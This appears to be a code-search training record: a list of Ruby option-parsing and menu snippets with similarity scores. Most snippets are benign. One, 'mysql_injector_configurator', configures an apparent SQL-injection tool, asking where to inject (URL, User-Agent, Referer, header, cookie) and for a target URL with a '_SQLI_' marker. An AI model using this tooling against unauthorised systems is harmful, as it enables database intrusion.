torf(self.sendcmd(\"main.get_rsid\"))==@rsid\n @rsid_old=@rsid\n else\n self.sendcmd(\"main.set_rsid\", @rsid)\n if torf(self.sendcmd(\"main.get_rsid\"))==@rsid\n @rsid_old=@rsid\n else\n self.error(\"main.set_rsid failed with value #{@rsid}\")\n puts \"main.set_rsid failed\" if @debug\n status=false\n end\n end\n end\n \n # Turn squelch on/off (true/false).\n if @squelch!=@squelch_old\n if torf(self.sendcmd(\"main.get_squelch\"))==@squelch\n @squelch_old=@squelch\n else\n self.sendcmd(\"main.set_squelch\", @squelch)\n if torf(self.sendcmd(\"main.get_squelch\"))==@squelch\n @squelch_old=@squelch\n else\n self.error(\"main.set_squelch failed with value #{@squelch}\")\n puts \"main.set_squelch failed\" if @debug\n status=false\n end\n end\n end\n \n # Set the squelch value (3.0 seems to work well).\n if @slevel!=@slevel_old\n @slevel_old=@slevel\n if @slevel.to_f==self.sendcmd(\"main.get_squelch_level\").to_f\n @slevel=@slevel.to_f\n else\n self.sendcmd(\"main.set_squelch_level\", @slevel)\n if @slevel==self.sendcmd(\"main.get_squelch_level\")\n @slevel=@slevel.to_f\n else\n self.error(\"main.set_squelch_level failed with value #{@slevel}\")\n puts \"main.set_squelch_level failed\" if @debug\n status=false\n end\n end\n end\n\n # Set the radio frequency (in hz). If the user has specified no\n # rig control, it simply returns true and ignores the provided\n # value (this is so people who don't have rig control can still\n # use the other features of the library, they just can't set the\n # radio frequency). Otherwise, it returns true if successful in\n # setting the frequency, false if it fails. The sleep here gives\n # the radio time to change frequencies before checking. 0.5\n # seconds work with all of my radios, but it's possible this will\n # need to be tweaked. Send me an e-mail if this value is not\n # adequate for your radio, and I'll figure out a plan. So far, it\n # works on my IC-706MkII, my IC-756Pro, and my FT-817. The value\n # for @offset is added to the desired frequency. This is for use\n # when you want all of your radios to be on a very specific given\n # frequency. You must choose one as \"the standard\", then figure\n # out the offset for each rig from that standard. For example, my\n # FT-817 transmits 180hz lower (for a given equal temperature).\n # Assuming I've chosen my IC-706MkII as my standard (of course,\n # you could use WWV or some such, as well), I need to set @offset\n # to -180 whenever using my FT-817 if I want them to be on the\n # exact same frequency. This value could be added to either the\n # dial frequency or the carrier. I chose the dial frequency,\n # since a lot of people reference the carrier more often than the\n # dial. That way, when one person says he's at \"1000\", it'll be\n # \"1000\" on the other radio, as well. There's no good, clean,\n # all-purpose solution to this one, but at least it allows for\n # consistent and automated use of the library without having to do\n # the conversions in your own code. We give ourselves two tries to\n # get the freq right, since some rigs seem to act a bit odd when\n # changing bands.\n @dial_freq=@dial_freq.to_i\n if (@dial_freq!=@dial_freq_old or @offset!=@offset_old) and @rigctl\n @dial_freq_old=@dial_freq\n @offset_old=@offset\n if @dial_freq+@offset.to_i!=self.sendcmd(\"main.get_frequency\").to_f\n self.sendcmd(\"main.set_frequency\", @dial_freq+@offset.to_f)\n sleep 0.5\n if @dial_freq+@offset.to_i!=self.sendcmd(\"main.get_frequency\").to_f\n self.sendcmd(\"main.set_frequency\", @dial_freq+@offset.to_f)\n sleep 0.5\n if @dial_freq+@offset.to_i!=self.sendcmd(\"main.get_frequency\").to_f\n self.error(\"main.set_frequency failed with value #{@dial_freq}\")\n puts \"main.set_frequency failed\" if @debug\n status=false\n end\n end\n end\n end\n\n return status\n end", "def configure\n send_command \"--configure\"\n end", "def read_from_cmdline\n require \"shellwords.rb\"\n words = Shellwords.shellwords(\n if not ARGV.empty?\n ARGV.join(' ')\n else\n STDERR.print \"(offline mode: enter name=value pairs on standard input)\\n\" if STDIN.tty?\n readlines.join(' ').gsub(/\\n/, '')\n end.gsub(/\\\\=/, '%3D').gsub(/\\\\&/, '%26'))\n\n if words.find{|x| x =~ /=/} then words.join('&') else words.join('+') end\n end", "def read_thing(thing)\n print input_prompt(thing[:text], thing[:default])\n validate_input(read_input, thing[:default], thing[:test])\n end", "def parse\n parse_command\n load_config\n finalize_setup\n end", "def parse_switch(arg)\n argument = arg[1..-1].downcase\n\n # Version\n if argument =~ /^(v|-version)$/\n print_version\n end\n\n # Argument output_dir\n if argument.eql?(\"m\")\n @merge = true\n @edit_in_place=false unless @mset==true\n @mset=true\n end\n\n # In place\n if argument.eql?(\"i\")\n @edit_in_place=true\n @merge=false unless @mset==true\n end\n\n # Argument threshold\n if argument.eql?(\"t\")\n if @expecting_threshold==false\n @expecting_threshold=true\n else\n puts \"Argument threshold expected after -t switch\\n\"\n print_help\n end\n end\n\n # Arguments -H, -h, --help, -help...\n if argument =~ /^-*h+(elp)*$/i\n print_help\n end\n\n end", "def settings_menu\n display_settings\n\n case user_input(caps: true)\n when interface[:home] then clear_and_home_navigation\n when interface[:difficulty] then clear_and_set_difficulty\n when interface[:interface] then clear_and_set_interface\n when interface[:markers] then set_markers\n when interface[:names] then set_names\n when interface[:help] then toggle_helper_and_settings_menu\n when interface[:reset]\n if default_settings?\n invalid\n else\n reset_default_settings\n end\n else\n invalid\n end\n end", "def arguments?\n @config.arguments == Cliqr::Config::ENABLE_CONFIG\n end", "def options_parsed?\n opts = OptionParser.new() do |o|\n o.on('-v','--version') { output_version($stdout); exit(0) }\n o.on('-h','--help') { output_help($stdout); exit(0) }\n o.on('-V', '--verbose') { @options.verbose = true }\n o.on('-D', '--debug') { @options.debug = true }\n o.on('-l', '--local') { @options.run_local = true }\n\n o.on(\"-d\",\"--delay\", \"=REQUIRED\") do |amount|\n @options.delay = amount.to_i\n end\n\n o.on(\"-c\",\"--config\", \"=REQUIRED\") do |conf_file|\n @options.config_file = conf_file\n end\n\n o.on(\"-o\",\"--output\", \"=REQUIRED\") do |output_destination|\n @options.output_base = output_destination\n end\n\n o.on(\"-s\",\"--scheduler\", \"=REQUIRED\") do |qopts|\n @options.scheduler_opts = qopts\n end\n\n o.on(\"-t\",\"--tmp\", \"=REQUIRED\") do |topts|\n @options.tmp_dir_base = topts\n end\n end\n\n opts.parse!(@args) rescue return false\n @options.samples = @args\n return true\nend", "def mysql_injector_configurator\n puts\n # Where to inject?\n while(true)\n print_caution(\"Select Injection Location: \")\n puts \" 1) URL\".white\n puts \" 2) User-Agent\".white\n puts \" 3) Referer\".white\n puts \" 4) Header\".white\n puts \" 5) Cookie\\n\".white\n answer = Readline.readline(\" Injection Location: \", true)\n puts\n if answer[0].to_i > 0 and answer[0].to_i <= 5\n case answer[0].to_i\n when 1\n $config['INJECTOR']['MYSQL']['LOC'] = 'URL'\n when 2\n $config['INJECTOR']['MYSQL']['LOC'] = 'UA'\n when 3\n $config['INJECTOR']['MYSQL']['LOC'] = 'REF'\n when 4\n $config['INJECTOR']['MYSQL']['LOC'] = 'HEADER'\n when 5\n $config['INJECTOR']['MYSQL']['LOC'] = 'COOKIE'\n end\n break\n else\n print_error(\"Unknown option selected!\")\n print_error(\"Comeback and try again when you're ready....\\n\\n\")\n return\n end\n end\n\n # Request type & Related Info for injection?\n while(true)\n print_caution(\"Request Type: \")\n print_caution(\"1) GET\")\n print_caution(\"2) POST\")\n answer = Readline.readline(\" Type: \", true)\n if answer[0].to_i == 1 or answer[0].upcase == 'G'\n # GET\n puts if $config['INJECTOR']['MYSQL']['LOC'] == 'URL'\n print_caution(\"Remember to Note Injection point with '_SQLI_' marker when giving URL!\\n\") if $config['INJECTOR']['MYSQL']['LOC'] == 'URL'\n url = Readline.readline(\" Enter URL: \", true)\n if url.nil? or url == '' or ($config['INJECTOR']['MYSQL']['LOC'] == 'URL' and not url =~ /_SQLI_/)\n puts\n print_error(\"Invalid URL String provided, try again!\\n\")\n else\n $config['INJECTOR']['MYSQL']['URL'] = url.strip.chomp\n break\n end\n elsif answer[0].to_i == 2 or answer[0].upcase == 'P'\n # POST\n puts if $config['INJECTOR']['MYSQL']['LOC'] == 'URL'\n print_caution(\"Remember to Note Injection point with '_SQLI_' marker when giving URL or DATA!\\n\") if $config['INJECTOR']['MYSQL']['LOC'] == 'URL'\n url = Readline.readline(\" Enter URL: \", true)\n if url.nil? or url == ''\n puts\n print_error(\"Invalid URL String provided, try again!\\n\")\n else\n data = Readline.readline(\" Enter POST Data: \", true)\n if ((not data =~ /_SQLI_/ and not url =~ /_SQLI_/) and $config['INJECTOR']['MYSQL']['LOC'] == 'URL')\n puts\n print_error(\"_SQLI_ Marker not found in URL or DATA string provided! Let's try again....\\n\")\n else\n $config['INJECTOR']['MYSQL']['URL'] = url.strip.chomp\n $config['INJECTOR']['MYSQL']['DATA'] = data.strip.chomp\n break\n end\n end\n else\n puts\n print_error(\"Only two options, it's not that hard!\")\n print_error(\"Please select valid option from choices below....\\n\\n\")\n end\n end\n puts\n\n # User-Agent Injection?\n if $config['INJECTOR']['MYSQL']['LOC'] == 'UA'\n print_status(\"User-Agent Injection Selected!\")\n print_caution(\"Need for you to provide UA string to use with _SQLI_ marker set where needed!\")\n print_status(\"Current User-Agent String: \\n#{$config['HTTP']['HTTP_USER_AGENT']}\\n\")\n while(true)\n ua_str = Readline.readline(\" Enter Updated User-Agent String w/Marker: \", true)\n if ua_str =~ /_SQLI_/\n $config['INJECTOR']['MYSQL']['UA'] = ua_str.strip.chomp\n break\n else\n puts\n print_error(\"_SQLI_ Marker not found in URL or DATA string provided! Let's try again....\\n\")\n end\n end\n else\n $config['INJECTOR']['MYSQL']['UA'] = $config['HTTP']['HTTP_USER_AGENT']\n end\n\n # Referrer Based Injection?\n if $config['INJECTOR']['MYSQL']['LOC'] == 'REF'\n print_status(\"Referer Injection Selected!\")\n print_caution(\"Need for you to provide Referer string to use with _SQLI_ marker set where needed!\")\n while(true)\n ref_str = Readline.readline(\" Enter Referer String w/Marker: \", true)\n if ref_str =~ /_SQLI_/\n $config['INJECTOR']['MYSQL']['REF'] = ref_str.strip.chomp\n break\n else\n puts\n print_error(\"_SQLI_ Marker not found in URL or DATA string provided! Let's try again....\\n\")\n end\n end\n else\n $config['INJECTOR']['MYSQL']['REF'] = nil\n end\n\n # Header Based Injection?\n if $config['INJECTOR']['MYSQL']['LOC'] == 'HEADER'\n $config['INJECTOR']['MYSQL']['HEADERS'] = {}\n print_status(\"Header Based Injection Selected!\")\n print_caution(\"Need for you to provide Header Name & string value to use with _SQLI_ marker set where needed!\")\n while(true)\n head_name = Readline.readline(\" Enter Header Name: \", true)\n head_str = Readline.readline(\" Enter #{head_name.strip.chomp} Header Value w/Marker: \", true)\n if not head_name.nil? and not head_str.nil? and head_str != '' and head_name != '' and head_str =~ /_SQLI_/\n $config['INJECTOR']['MYSQL']['HEADERS'].store(head_name.strip.chomp.upcase, head_str.strip.chomp)\n break\n else\n puts\n print_error(\"Invalid info provided or _SQLI_ Marker not found! Let's try this again....\\n\")\n end\n end\n else\n $config['INJECTOR']['MYSQL']['HEADERS'] = {}\n end\n\n # Cookie Based Injection?\n if $config['INJECTOR']['MYSQL']['LOC'] == 'COOKIE'\n $config['INJECTOR']['MYSQL']['COOKIES'] = {}\n print_status(\"Cookie Based Injection Selected!\")\n print_caution(\"Need for you to provide Cookie Name & string value to use with _SQLI_ marker set where needed!\")\n while(true)\n cookie_name = Readline.readline(\" Enter Cookie Name: \", true)\n cookie_str = Readline.readline(\" Enter #{cookie_name.strip.chomp} Header Value w/Marker: \", true)\n if not cookie_name.nil? and not cookie_str.nil? and cookie_str != '' and cookie_name != '' and cookie_str =~ /_SQLI_/\n $config['INJECTOR']['MYSQL']['COOKIES'].store(cookie_name.strip.chomp.upcase, cookie_str.strip.chomp)\n break\n else\n puts\n print_error(\"Invalid info provided or _SQLI_ Marker not found! Let's try this again....\\n\")\n end\n end\n else\n $config['INJECTOR']['MYSQL']['COOKIES'] = {}\n end\n\n # Finaly we have base config set and ready to go testing...\n $config['INJECTOR']['MYSQL']['CONFIGURED'] = true\n\n # Print config details so user can reset if needed...remove later?\n puts\n print_good(\"MySQL Injector is now Configured!\")\n pp $config['INJECTOR']['MYSQL']\n puts\nend", "def getTestSettings()\n\n [:accounts, :browser, :host, :userid, :password].each do |k|\n\n puts __FILE__ + (__LINE__).to_s + \" opt[test_config].has_key(#{k.to_s}) => #{@options[:test_config].has_key?(k.to_s)}\" if Scoutui::Utils::TestUtils.instance.isDebug?\n\n puts __FILE__ + (__LINE__).to_s + \" options[#{k}] : #{@options[k].to_s}\" if Scoutui::Utils::TestUtils.instance.isDebug?\n if @options.has_key?(k) && !@options[k].nil?\n Scoutui::Base::UserVars.instance.set(k, @options[k].to_s)\n elsif @options[:test_config].has_key?(k.to_s)\n\n puts __FILE__ + (__LINE__).to_s + \" opts[#{k}].nil => #{@options[k].nil?}\" if Scoutui::Utils::TestUtils.instance.isDebug?\n # Ensure commnand line takes precedence\n if !@options[k].nil?\n puts __FILE__ + (__LINE__).to_s + \" opt[#{k.to_s} => #{@options[k].to_s}\" if Scoutui::Utils::TestUtils.instance.isDebug?\n Scoutui::Base::UserVars.instance.set(k, @options[k].to_s)\n else\n Scoutui::Base::UserVars.instance.set(k, @options[:test_config][k.to_s].to_s)\n end\n\n elsif @env_list.has_key?(k)\n # If an ENV is available, use it.\n puts __FILE__ + (__LINE__).to_s + \" #{k} => ENV(#{@env_list[k]}) = #{ENV[@env_list[k].to_s]}\" if Scoutui::Utils::TestUtils.instance.isDebug?\n Scoutui::Base::UserVars.instance.set(k, ENV[@env_list[k].to_s])\n end\n end\n\n puts __FILE__ + (__LINE__).to_s + \" test_config => #{@options[:test_config]}\" if Scoutui::Utils::TestUtils.instance.isDebug?\n\n\n # Applitools Eyes settings\n if @options[:test_config].has_key?('eyes')\n\n ['match_level', 'title', 'app', 'viewport'].each do |k|\n\n _v=nil\n\n if @options[:test_config]['eyes'].has_key?(k)\n _v=@options[:test_config]['eyes'][k].to_s\n end\n\n if !@options[k.to_sym].nil?\n _v=@options[k.to_sym].to_s\n end\n\n if Scoutui::Utils::TestUtils.instance.isDebug?\n puts __FILE__ + (__LINE__).to_s + \" #{k} => #{_v}\"\n end\n\n Scoutui::Base::UserVars.instance.set('eyes.' + k, _v) if !_v.nil?\n\n end\n end\n\n @options[:test_config]\n end", "def determine_operators\n #prompt the user for a selection\n print \"Please select (B)asic or (A)dvanced calculator operations:\"\n #store the selection\n calc_operations = gets.chomp.downcase\n #determine which operators to display and call their associated methods\n if calc_operations == 'b'\n display_basic_operators\n elsif calc_operations == 'a'\n display_advanced_operators\n else\n puts \"Please only select (B)asic or (A)dvanced calculator operations:\"\n end\nend", "def do_special_input_stuff(input)\n case input\n when \"save\"\n save\n []\n when \"reset\"\n puts \"Choose different piece:\"\n \"reset\"\n when \"quit\"\n puts \"QUITTING\"\n exit\n else\n false\n end\n end", "def config(command)\n ensure_mode(:configuration)\n run(command)\n end", "def process_boolean_input(input, symbol)\n case input\n when 0 then TerminalVis::option_handler.options.change_option(symbol, false)\n when 1 then TerminalVis::option_handler.options.change_option(symbol, true)\n else\n puts \" Error: Input #{input} is not valid.\".red\n end\n return true\n end", "def process_arguments\n if @options.config != nil\n if File.exist?(@options.config)\n load_config_file \n @config.each do |k, v|\n @project = v\n\n#need to do \n\n end\n else\n error(\"Config file does not exist\")\n end\n else\n @project = @options.project || \"NA\"\n @sub_dir = @options.sub_dir || \"NA\"\n @outname = @options.outname || @options.sub_dir\n @outdir = @options.outdir || $config[\"outdir\"]\n @bams = @options.bams\n @c_design = @options.c_design || nil\n @queue = @options.queue || $config[\"queue\"]\n @ref = @options.ref || \"hg19\"\n @rg_id = @options.rg_id || $config[\"rg\"][\"rg_id\"]\n @sample = @options.sample || \"NA\"\n\n end\n end", "def process_options\n\t\t@options[:verbose] = false if @options[:quiet]\n\t\t@options[:getword] = false if @options[:random]\n\t\t@options[:add] = false if @options[:random] or @options[:getword]\n\tend", "def main_select(pl_options, pl_status, fishing_hole)\n puts 'What would you like to do?'\n puts\n\n pl_options.each do |pl_opt,explanation|\n puts \" #{pl_opt.to_s.capitalize}: #{explanation}\"\n end\n\n pl_input = gets.chomp\n\n if pl_options.has_key?(pl_input.downcase.to_sym)\n case\n when pl_input.downcase == 'status'\n status(pl_status)\n when pl_input.downcase == 'fish'\n fish(pl_status, fishing_hole)\n when pl_input.downcase == 'action'\n action(pl_status)\n end\n else\n puts 'You must choose a valid option. Options are:'\n pl_options.each do |pl_opt|\n print \"#{pl_opt.to_s.capitalize}\" + ' '\n end\n puts\n puts\n end\n return pl_input\nend", "def read_from_cmdline\n require \"shellwords\"\n\n string = unless ARGV.empty?\n ARGV.join(' ')\n else\n if STDIN.tty?\n STDERR.print(\n %|(offline mode: enter name=value pairs on standard input)\\n|\n )\n end\n array = readlines rescue nil\n if not array.nil?\n array.join(' ').gsub(/\\n/n, '')\n else\n \"\"\n end\n end.gsub(/\\\\=/n, '%3D').gsub(/\\\\&/n, '%26')\n\n words = Shellwords.shellwords(string)\n\n if words.find{|x| /=/n.match(x) }\n words.join('&')\n else\n words.join('+')\n end\n end", "def getConfigCmd(prop, value)\n\n case prop\n when 'type'\n # 'value' defines type of operation\n type = case\n when value == 'a' : 1\n when value == 'b' : 2\n when value == 'g' : 3\n else\n raise \"Unknown type. Should be 'a', 'b', or 'g'.\"\n end\n return \"iwpriv #{@deviceName} set_mode #{type}\"\n\n when \"mode\"\n # 'value' defines mode of operation\n mode = case\n when value == 'Managed' : 'managed'\n when value == 'managed' : 'managed'\n when value == 'Master' : 'master'\n when value == 'master' : 'master'\n when value == 'ad-hoc' : 'ad-hoc'\n when value == 'adhoc' : 'ad-hoc'\n when value == 'monitor' : 'monitor'\n else\n raise \"Unknown mode '#{value}'. Should be 'managed', or 'ad-hoc'.\"\n end\n return \"iwconfig #{@deviceName} mode #{mode} essid dummy channel 1\"\n\n when \"essid\"\n @essid = value\n return \"iwconfig #{@deviceName} essid #{value}\"\n\n when \"frequency\"\n return \"iwconfig #{@deviceName} freq #{value}\"\n\n when \"tx_power\"\n return \"iwconfig #{@deviceName} txpower #{value}\"\n\n when \"rate\"\n return \"iwconfig #{@deviceName} rate #{value}\"\n\n when \"rts\"\n return \"iwconfig #{@deviceName} rts #{value}\"\n\n when \"channel\"\n return \"iwconfig #{@deviceName} channel #{value}\"\n\n end\n super\n end", "def select\n puts\n puts 'Select System:'\n puts 'Phasers, Torpedoes, Shields, Alerts, Engines, Sensors, Exit'\n answer = gets.chomp.downcase\n\n while answer != 'exit'\n\n# Phasers\n if answer.include?('phaser')\n if @phasers\n @phasers = false\n status 'Phasers are Disarmed.'\n else\n @phasers = true\n status 'Phasers are Armed and Ready.'\n end\n\n# Torpedoes\n elsif answer.include?('torpedo')\n\n if @photons\n @photons = false\n status 'Photon Torpedoes are Disarmed.'\n else\n @photons = true\n status 'Photon Torpedoes are Armed and Ready.'\n end\n\n# Shields\n elsif answer.include?('shield')\n\n if @shields\n @shields = false\n status 'Lowering Shields.'\n else\n @shields = true\n status 'Raising Shields.'\n end\n\n# Alerts\n elsif answer.include?('alert')\n alerts = ['no alert', 'yellow alert', 'red alert']\n puts\n puts 'Select Alert Status:'\n puts 'No Alert, Yellow Alert, Red Alert'\n response = gets.chomp.downcase\n\n while !alerts.include?(response)\n puts\n puts 'Command Not Recognized.'.center @lw\n response = gets.chomp.downcase\n end\n\n if response == 'no alert'\n @alert = 'No Alert'\n status 'Alert Status set to No Alert.'\n elsif response == 'yellow alert'\n @alert = ' Yellow Alert'\n status 'Alert Status set to Yellow Alert.'\n elsif response == 'red alert'\n @alert = ' Red Alert'\n status 'Alert Status set to Red Alert.'\n end\n\n# Engines\n elsif answer.include?('engine')\n engines = ['impulse', 'warp']\n puts\n puts 'Select Engine:'\n puts 'Impulse, Warp'\n response2 = gets.chomp.downcase\n\n while !engines.include?(response2)\n puts\n puts 'Command Not Recognized.'.center @lw\n response2 = gets.chomp.downcase\n end\n\n\n# Impulse Engine Selection\n if response2 == 'impulse'\n speed = ['full stop', '1/4', '1/3', '1/2', '2/3', 'full impulse']\n puts\n puts 'Select Impulse Speed:'\n puts 'Full Stop, 1/4, 1/3, 1/2, 2/3, Full Impulse'\n response3 = gets.chomp.downcase\n\n while !speed.include?(response3)\n puts\n puts 'Command Not Recognized.'.center @lw\n response3 = gets.chomp.downcase\n end\n puts\n\n# Impulse Engine Speeds\n if response3 == 'full stop'\n @engines = 'Full Stop'\n status 'Impulse Engines at Full Stop.'\n elsif response3 == '1/4'\n @engines = ' 1/4 Impulse'\n status 'Impulse Engines at 1/4.'\n elsif response3 == '1/3'\n @engines = ' 1/3 Impulse'\n status 'Impulse Engines at 1/3.'\n elsif response3 == '1/2'\n @engines = ' 1/2 Impulse'\n status 'Impulse Engines at 1/2.'\n elsif response3 == '2/3'\n @engines = ' 2/3 Impulse'\n status 'Impulse Engines at 2/3.'\n elsif response3 == 'full impulse'\n @engines = ' Full Impulse'\n status 'Impulse Engines All Ahead Full.'\n end\n\n# Warp Engine Selection\n elsif response2 == 'warp'\n warp = 1..9\n puts\n puts 'Select Warp Speed:'\n puts '1 - 9'\n response4 = gets.chomp.to_i\n\n while !warp.include?(response4)\n puts\n puts 'Command Not Recognized.'.center @lw\n response4 = gets.chomp.to_i\n end\n puts\n\n# Warp Engine Speeds\n @engines = ' Warp ' + response4.to_s\n status ('Warp Engines Engaged.\n Now at Warp ' + response4.to_s + '.')\n end\n\n# Sensors\n elsif answer.include?('sensor')\n sensorlist = ['Geological Scan', 'High Resolution Scan', 'Internal Scan',\n 'Long Range Sensor Scan', 'Magneton Scan', 'Navigational Scan',\n 'Multiphasic Scan', 'Subspace Differential Pulse', 'Inverse Tachyon Pulse']\n puts\n puts 'Select Sensor Array:'\n sensorlist.each do |x|\n puts x\n end\n puts\n response4 = (gets.chomp).split.map(&:capitalize).join(' ')\n\n while !sensorlist.include?(response4)\n puts\n puts 'Command Not Recognized.'.center @lw\n response4 = (gets.chomp).split.map(&:capitalize).join(' ')\n end\n\n if !@sensors.include?(response4)\n @sensors.push(response4)\n status (response4 + ' Activated.')\n elsif @sensors.include?(response4)\n @sensors.delete(response4)\n status (response4 + ' Deactivated.')\n end\n\n# Else\n else\n puts\n puts 'Command Not Recognized.'.center @lw\n answer = gets.chomp.downcase\n end\n\n end\n exit\n end", "def process_inputs args\n decision = current_decision args # calls current_decision method\n\n if args.keyboard.key_down.left! && decision[:option_one] # if left key pressed and option one exists\n args.state.decision_id = decision[:option_one][:decision] # value of option one's decision hash key is set to decision_id\n end\n\n if args.keyboard.key_down.right! && decision[:option_two] # if right key pressed and option two exists\n args.state.decision_id = decision[:option_two][:decision] # value of option two's decision hash key is set to decision_id\n end\n\n if args.keyboard.key_down.down! && decision[:option_three] # if down key pressed and option three exists\n args.state.decision_id = decision[:option_three][:decision] # value of option three's decision hash key is set to decision_id\n end\n\n if args.keyboard.key_down.up! && decision[:option_four] # if up key pressed and option four exists\n args.state.decision_id = decision[:option_four][:decision] # value of option four's decision hash key is set to decision_id\n end\nend", "def post_option_parser(configuration)\n # we could test or manipulate input values here\n if ARGV.length >= 1\n configuration[:command] = ARGV.shift \n end\n\n raise \"Action must be say_goodbye or get_towel\" unless [\"say_goodbye\", \"get_towel\"].include?(configuration[:command])\n end", "def interactive!(value = true)\n Vedeu.log(\"Configuration::API interactive: #{value}\")\n\n options[:interactive] = value\n end", "def configure!(args)\n self.class.options.each do |name, opts|\n argv = args.detect{|k,v| (Array(opts[:aliases]) + Array(opts[:short]) + [name]).include?(k.to_sym)}\n argv = argv.last if argv\n argv ||= opts[:default]\n if(argv)\n check_type!(name, argv, opts[:type])\n self.send(\"#{name}=\", argv)\n else\n if(opts[:required])\n raise ArgumentError.new \"Missing required argument: #{name}\"\n end\n end\n end\n if(ipaddress && gateway.nil?)\n self.gateway = ipaddress.sub(%r{\\d+$}, '1')\n end\n end", "def checkparm(configKey,description)\n # Check if the [configKey] is set\n if config[configKey].nil?\n # No, so tell the user a bit about what it does, why its needed, what to do etc.\n puts ui.color(\" #{configKey} is not set\", :red)\n puts ui.color(\" #{description}\", :magenta)\n else\n # Yes, so display it\n puts ui.color(\" #{configKey} is set to '#{config[configKey]}'\",:green)\n end \n end", "def pick_option\n input = get_input\n if input == '1'\n events_array = search_by_city\n display_events_by_city(events_array)\n save_event_or_main_menu(events_array)\n elsif input == '2'\n attractions_array = search_by_keyword\n display_by_keyword(attractions_array)\n save_event_or_main_menu(attractions_array)\n elsif input == '3'\n display_user_events\n elsif input == '4'\n delete_account\n elsif input == '5'\n space(1)\n puts \"#{$logged_in.username}, thanks for checking us out. See ya later!\"\n exit\n else\n space(1)\n invalid_input\n pick_option\n end\nend", "def start\n puts \"\", \"Enter the number of the conservation status you would like to see or type exit:\"\n puts \"1. Critically Endangered\", \"2. Endangered\", \"3. Vulnerable\"\n print \"> \"\n\n input = gets.strip.downcase\n\n input = verification_one(input)\n\n if input == false\n return false\n end\n\n print_animal_list(input)\n\n puts \"\", \"Which animal would you like to get more information on? Please type the number or exit.\"\n print \"> \"\n input = gets.strip.downcase\n\n input = verification_two(input)\n\n if input == false\n return false\n end\n\n get_animal_description(input)\n\n puts \"\", \"Would you like to see another animal? Please enter Y or N.\"\n print \"> \"\n\n input = nil\n input = gets.strip.downcase\n\n return verification_three(input)\n end", "def get_input(symbol)\r\n\tprint \"#{symbol} - \"\r\n\tinput = gets.chomp\r\n\tif symbol == \"name\" || symbol == \"theme\"\r\n\t\treturn input\r\n\telsif symbol == \"cats\" \r\n\t\tif input == \"y\"\r\n\t\t\treturn true\r\n\t\telse return false\r\n\t\tend\r\n\telse return input.to_i\r\n\tend\r\nend", "def parse_cmd_line\n options = {\n files: [],\n config_file: 'grifter.yml',\n authenticate: true,\n #by leaving environment unset, grift will use GRIFTER_ENVIRONMENT variable if no -e is used on cmd line\n #environment: nil,\n }\n\n optparse = OptionParser.new do |opts|\n opts.banner = %Q|\n Grifter HTTP JSON APIs Client\n example, run a data script: bin/grifter -f script.rb\n example, call a method: bin/grifter <grift method name>\n\n |\n\n opts.on(\"-f\", \"--script=FILENAME\",\n \"specify a script file to run\") { |file| options[:files] << file }\n\n opts.on(\"-d\", \"--script-dir=dir\",\n \"specify a directory of grift scripts, run all of them\") { |dir| options[:files] += Dir[\"#{dir}/**/*.rb\"] }\n\n opts.on(\"-v\", \"--verbose\",\n \"debug logging, see every request and response in detail\") { Log.level = Logger::DEBUG }\n\n opts.on(\"-q\", \"--quiet\",\n \"quiet logging, warnings and errors only\") { Log.level = Logger::WARN }\n\n opts.on(\"-c\", \"--config=FILENAME\",\n \"config filename\") { |fn| options[:config_file] = fn }\n\n opts.on('-e', '--environment=ENVIRONMENT',\n \"environment name\") { |e| options[:environment] = e.to_sym }\n\n opts.on(\"-n\", \"--no-authenticate\",\n \"Do not authenticate\") { options[:authenticate] = false }\n\n opts.on('-l', \"--list\", \"Print each available grift method\") do\n options[:list_grift_methods] = true\n options[:authenticate] = false #no point in authenticating for --list\n end\n\n end\n optparse.parse!\n options\nend", "def read_and_validate_params\n if @name_args.length < 1\n show_usage\n exit 1\n end\n\n if config[:name].nil? ||\n config[:vios].nil? ||\n config[:virtual_server].nil? ||\n config[:disk_name].nil?\n show_usage\n exit 1\n end\n\n if config[:profile].nil?\n config[:profile] = config[:name]\n end\n end" ]
[ "0.6098473", "0.6012483", "0.59476423", "0.59117895", "0.5889961", "0.58546525", "0.58473957", "0.57850724", "0.5781561", "0.57522076", "0.5713059", "0.5698034", "0.56776327", "0.5673832", "0.56704026", "0.5669409", "0.5668026", "0.56642157", "0.56600404", "0.5659764", "0.5654363", "0.5642331", "0.56270486", "0.5622278", "0.5613753", "0.5587703", "0.5586309", "0.5583563", "0.55746955", "0.5549594", "0.55493295", "0.55305433", "0.5528618", "0.5508301", "0.55053234", "0.55051595", "0.5502982", "0.55026746", "0.5502549", "0.5501551", "0.5499515", "0.5474673", "0.5470422", "0.54700756", "0.54353994", "0.54249513", "0.54221183", "0.54209346", "0.541404", "0.5401163", "0.53957623", "0.53911567", "0.53898215", "0.5382155", "0.5378189", "0.537514", "0.53698117", "0.5363151", "0.5349406", "0.5334605", "0.53297925", "0.5329652", "0.5324035", "0.5320053", "0.53142107", "0.5304421", "0.5293153", "0.5288882", "0.52845126", "0.52834356", "0.5272483", "0.5271719", "0.5271695", "0.5269172", "0.52649915", "0.52647465", "0.5263764", "0.52556854", "0.52522373", "0.52515745", "0.524808", "0.52461094", "0.52418596", "0.5240898", "0.5237599", "0.5235558", "0.5234719", "0.5228002", "0.5224683", "0.5222498", "0.5217087", "0.5212057", "0.52120095", "0.52098936", "0.52077293", "0.52036464", "0.52007216", "0.5197224", "0.5194952", "0.51944774" ]
0.5616686
24
Sanitizes the options hash to ensure only permitted values are processed
def options @options = @options.select { |key, _val| CONFIGURATIONS.include?(key.to_sym) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sanitize_field_options(options={})\n options.stringify_keys.reject {|k, v| %w(vertical_align label edit req lock auto popup url position help).include?(k)}.symbolize_keys\n end", "def sanitize_form_field_options(options={})\n options.symbolize_keys.reject {|k,v| [:disabled, :object, :help, :edit, :label, :req, :lock].include?(k)} \n end", "def sanitize_options(opts)\n opts = opts.to_hsh rescue opts.to_h\n \n HashWithIndifferentAccess.new(opts)\n end", "def sanitize_options(options)\n options.keys.each do |key|\n unless Facade.options[:valid_find_options].include?(key) || Facade.options[:valid_list_options].include?(key)\n raise InvalidListOptions, \"Bad key passed: #{key}\"\n end\n end\n end", "def sanitize_opts!\n @opts.each_key do |key|\n unless VALID_OPTS.include? key\n raise Monga::Exceptions::InvalidClientOption, \"`#{key}` is invalid option for Client. Following options are valid: #{VALID_OPTS * ', '}\"\n end\n end\n end", "def normalize_options\n self.options[:whitelist] = self.options[:whitelist].map(&:to_s)\n self.options[:blacklist] = self.options[:blacklist].map(&:to_s)\n self.options[:path] = [self.options[:path]] unless self.options[:path].is_a?(Array)\n end", "def _normalize_options(options); end", "def 